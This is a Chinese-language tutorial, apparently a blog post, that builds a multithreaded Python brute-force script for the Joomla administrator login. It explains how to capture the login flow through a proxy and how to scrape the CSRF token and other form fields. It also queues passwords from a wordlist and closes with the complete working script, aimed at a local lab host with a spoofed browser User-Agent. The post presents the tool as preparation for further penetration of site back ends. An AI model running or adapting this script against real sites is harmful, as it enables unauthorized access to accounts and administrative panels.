0x00簡述
本文從零開始介紹一個網站登錄爆破腳本的編寫過程,通過腳本模擬網站登錄的作用有以下幾點:
1,web類安全工具需要一個強大的爬蟲爬取目標網站的所有頁面,以確認漏洞利用點。
如果遇到需要登錄才能爬取的情況,可以爬蟲直接模擬登錄過程。
2,已知部分信息,爆破網站后台,為下一步的滲透做准備。
關於登錄爆破在《blackhat python》這本書中有一個例子,但是我用requests和beautifulsoup做了一些修改,后續還會以此為基礎添加更多的功能。
0x01網站的認證過程
要模擬登錄網站就要知道網站的登錄認證過程,這里以joomla這款開源cms為例。
配置瀏覽器使用代理,本地127.0.0.1 8080端口,我使用了owasp zap
這款工具,其他的工具如Burpsuite或者直接F12 都可以查看到包的信息。
第一步,首先訪問后台登錄頁面,抓包查看發現返回包中包含“SetCookie”響應頭,cookie此時作為認證用戶身份的憑據,且每次訪問都會改變。
第二步,接着POST方法提交登錄信息,同樣抓包查看
可以看到包里的參數不只有賬號密碼,還有token(用於防御CSRF)還有task等等。
認證的同時要抓取頁面表單的其他input標簽的name和value。joomla的較為簡單,網站一般不會明文傳輸用戶名和密碼,遇到這種情況需要分析引入的js文件,模擬加密算法。
第三步,可以通過代理歷史頁面看到,post請求觸發了303跳轉跳回了原url相當於又實現了一次GET請求,可以查看到這次請求攜帶了之前設置的cookie。
到這里網站的基本認證流程就結束了,接着我們用工具自動化
0x02HTTP方法
登錄過程中用到了兩種方法,GET和POST方法,用reqeusts實現很簡單
import requests
res_get=requests.get(url)
res_post=requests.post(url,data=data,cookies=cookies,headers=headers)
其中data屬性接收一個dict作為post的數據,cookies和headers
請求頭都可以自己定義,將准備好的請求頭用dict封裝就可以偽造一個firefox瀏覽器的請求
cookie處理的兩種方法
cookie值在第一次請求目標url的時候就已經設定好了
res_get.headers['Set-Cookie']
讀取響應頭取出set-cookie字段解析成dict
另一種 cookies=res.cookies 自動處理可以直接傳入get方法中。
0x03解析HTML提取參數
用到BeautifulSoup來解析html,你只需要傳入一個HTML就能隨意的處理解析它。
soup=BeautifulSoup(html)
要尋找所有的input標簽,將其中的name和value對應形成一個字典
soup.find_all(“input”)
將返回所有的input標簽構成的一個list,其中元素的類型是 <class 'bs4.element.Tag'>
這意味着可以通過 tag.get("value")取出value的值,直接用tag["value"]也可以。
0x04處理爆破用的字典
認證的過程有了,接着不過就是替換password的值而已。
我們采用隊列的方法提供要爆破的密碼字段
import Queue
words=Queue.Queue()
words.put(word)
words.get()
借用書中的代碼
def build_wordlist(wordlist):
fp=open(wordlist,'rb')
raw_words=fp.readlines()
fp.close()
words=Queue.Queue()
for word in raw_words:
word=word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
if word==resume:
found_resume=True
print "Resuming wordlist from : %s "%resume
else:
words.put(word)
return words
這段代碼中的恢復機制不太明白,不清楚resume會在何處賦值
應對爆破過程中目標網站掛了,或者被防火牆屏蔽的狀況,我們需要記錄下爆破的位置以便繼續爆破。
0x05多線程處理
因為python中的GIL(全局解釋鎖),解釋器同一時刻只能運行一個線程。如果是計算密集型任務多線程是不起作用的,可以嘗試多核運行。
網絡請求操作更多的時間消耗在網絡等待服務器響應的過程中,這樣的情況多線程能夠提升效率。
import threading
t=threading.Thread(target=web_bruter())
t.start()
target指定線程要執行的函數
經測試速度有三倍的提升
0x06錯誤處理
應對掉網的情況采用try except 語句捕捉錯誤
爆破中關閉服務器后,requests拋出了ConnectionError異常
捕捉這個異常,然后將一個特殊值放入隊列中使隊列中的其他線程全部關閉
其實不用這個方法也會關閉,每個線程都會返回一個成功或是失敗的結果
0x07完整代碼
from bs4 import BeautifulSoup
import requests as s
from requests import ConnectionError
import Queue
import sys
import threading
target_url="http://kali/joomla453/administrator/index.php"
sucess_check="Administration - Control Panel"
wordlist="cain.txt"
headers={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "keep-alive",
"Referer": "http://kali/joomla453/administrator/index.php",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "kali",
}
class Bruter():
def __init__(self,username,words):
self.username=username
self.password=words
self.found=False
self.res=s.get(target_url)
self.password_q=words
print "Seting up username : %s " %username
def get_cookie(self):
return self.res.cookies
‘’‘
def get_cookie(self):
cookies={}
co=self.res.headers['Set-Cookie']
a=co.split(';')[0].split('=')
cookies[a[0]]=a[1]
print "Cookie: "+str(cookies)
return cookies
’‘’
def get_payload(self):
payload={}
html=self.res.content
soup=BeautifulSoup(html,"lxml")
tag_list=soup.find_all("input")
for i in tag_list:
payload[i['name']]=i.get('value')
tag_user = soup.find_all("input",type="text")
payload[tag_user[0]['name']]=self.username
tag_pass = soup.find_all("input",type="password")
pass_word=self.password_q.get()
payload[tag_pass[0]['name']]=pass_word
print "Trying : %s" %pass_word+"\n"
print "Payload: "+str(payload)
return payload
def web_bruter(self):
while not self.found and not self.password_q.empty():
try:
a=s.post(target_url,data=self.get_payload(),headers=headers,cookies=self.get_cookie())
p=s.get(target_url,headers=headers,cookies=self.get_cookie())
if sucess_check in p.content:
print "sucess"
self.found = True
except ConnectionError,e:
print "Connection Error: %s" % e
sys.exit()
def run_thread(self):
for i in range(10):
t=threading.Thread(target=self.web_bruter)
t.start()
resume=None
found_resume=False
def build_wordlist(wordlist):
fp=open(wordlist,'rb')
raw_words=fp.readlines()
fp.close()
words=Queue.Queue()
for word in raw_words:
word=word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
if word==resume:
found_resume=True
print "Resuming wordlist from : %s "%resume
else:
words.put(word)
return words
words=build_wordlist(wordlist)
d=Bruter("moon",words)
d.run_thread()
0x08下一步的改進方向
1,在讀取字典的時候一次都讀取了進來,如果是一個很大的字典,這樣會在開始浪費很長時間讀取,甚至程序崩潰
2,程序不夠通用,需要添加跟蹤JS加密算法的功能
3,字典中設置斷點應對中途停止的情況,隨機字符串斷點要區別於字典中的字符串,或者是位置斷點更方便定位
0x09參考文章
《blackhat python》
《python cookbook》